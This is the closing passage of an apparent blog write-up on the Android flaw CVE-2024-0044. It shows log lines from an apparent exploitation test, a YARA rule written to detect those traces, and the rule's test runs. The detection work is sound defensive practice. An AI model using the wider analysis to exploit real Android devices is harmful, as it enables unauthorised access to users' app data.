01-10 10:24:57.085 530 576 I am_wtf : com.example.vulnerable0 10147 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid] 
01-10 10:36:56.879 530 609 E PackageInstallerSession: com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid 
01-10 10:36:56.880 530 576 I am_wtf : com.example.vulnerable0 10147 1 /data/data/com.example.vulnerable0 default:targetSdkVersion=28 none 0 0 1 @null drops manifest attribute android:installLocation in base.apk for org.fdroid.fdroid] 
$ 

Yes! It works.

Now let’s create a Yara rule with this RE and use the yara command to test it.

We won’t go into details about the Yara rule structure here. There’s the documentation and, seriously, current LLMs do a pretty good job of helping with this. The rule we’ll create is simple and its code is almost self-explanatory.

The rule would look like this:

rule CVE_2024_0044_PossibleExploitation 
{ 
    meta: 
        description = "Detect possible CVE-2024-0044 exploitation lines with '1' and dropping installLocation" 
        author = "k+Lab" 
        date = "2025-01-10" 
        reference = "YARA rule matching in a single line an error and a number" 

    strings: 
        $pattern = /1\s+.*drops manifest attribute android:installLocation in base\.apk/ 

    condition: 
        $pattern 
} 

Now we install yara on our computer (with apt, pacman, downloading the Windows binaries, etc.) and test the rule (which in my case I have saved as CVE2024-0044_possible_explitation.yar) against a log that does not contain the error and then against one that does. Let’s see what happens:

$ yara CVE_2024-0044_possible_exploitation.yar ~/androidqf/ec26255d-c592-4006-8e48-889b73f13733/logcat.txt
warning: rule "CVE_2024_0044_PossibleExploitation" in CVE_2024-0044_possible_exploitation.yar(14): $same_line contains .*, .+ or .{x,} consider using .{,N}, .{1,N} or {x,N} with a reasonable value for N 
$ 
$ yara CVE_2024-0044_possible_exploitation.yar ~/androidqf/02b274cb-e699-47ee-b29d-c28555ba4a3c/logcat.txt 
warning: rule "CVE_2024_0044_PossibleExploitation" in CVE_2024-0044_possible_exploitation.yar(14): $same_line contains .*, .+ or .{x,} consider using .{,N}, .{1,N} or {x,N} with a reasonable value for N 
CVE_2024_0044_PossibleExploitation /home/user/androidqf/02b274cb-e699-47ee-b29d-c28555ba4a3c/logcat.txt 
$ 

We can see that in the first execution we only get a warning for something in the format of our RE, but nothing else. In the second, already with a file that contains the error, we see that the name of the rule appears, indicating that there was at least one occurrence of the pattern.

With this we complete the scope of this document, which consisted of analyzing a vulnerability, exploiting it, looking for traces of that exploitation and creating some rule that finds those traces. Very good!

But what can we do with a rule that we created after all this process?

There are many options. A few things that might be of interest in our context are, for example, creating a STIX2 object so it can be used with MVT. In this case, that doesn’t seem like an option, since our rule, although it could be converted to STIX, wouldn’t be supported by MVT. The MVT IOC documentation clarifies that it only supports certain types:

“it only supports the following types: domain-name:value, process:name, email-addr:value, file:name, file:path, file:hashes.md5, file:hashes.sha1, file:hashes.sha256, app:id, configuration-profile:id, android-property:name, url:value (but each type will only be checked by a module if it is relevant to the type of data obtained)”

Taken on 2025/01/11 from: https://docs.mvt.re/en/latest/iocs/

For our case, we would have to use the file:content_ref.text directive, which is not among those supported by MVT. For a future experiment, perhaps analyzing malware, we can create IOCs that are supported by MVT.

On the other hand, it would be ideal to test this rule against threat intelligence datasets to see if any issues are found. For example, VT Hunting from VirusTotal allows testing Yara rules on several Terabytes (!!) of datasets. I also hope this will be material for another experiment.

–[ 0x08 The end ]–

Update: After making this report I found that the patch applied in March 2024 for this vulnerability was not effective and it was re-patched in October 2024. Reference.

One thing I can say for sure: running this experiment taught me a lot and developed a lot of sympathy for Android vulnerability exploitation. The vulnerability and exploit we’re analyzing in this post seem pretty straightforward on the surface, but dig a little deeper and you’ll see that many factors go into making them possible, and understanding those factors is critical to understanding the threats we’re looking for.

There’s a lot to do; in this post, we’ve only scratched the surface of everything involved in hunting threats and taking actions to prevent, repel, or detect them. Technical knowledge is key if our initiative is to achieve this on a larger scale.

A couple of links that I think are important:

  1. Yanik Fratantonio’s MOBISEC course, which can be taken here and whose exercises/tasks (in the form of capture the flags) can be completed on a platform linked on the same page.
  2. The Android Malware Handbook, which can be viewed in PDF format here.

Anyway, this is a first experiment, and I hope it’s the beginning of many. Thanks for reading!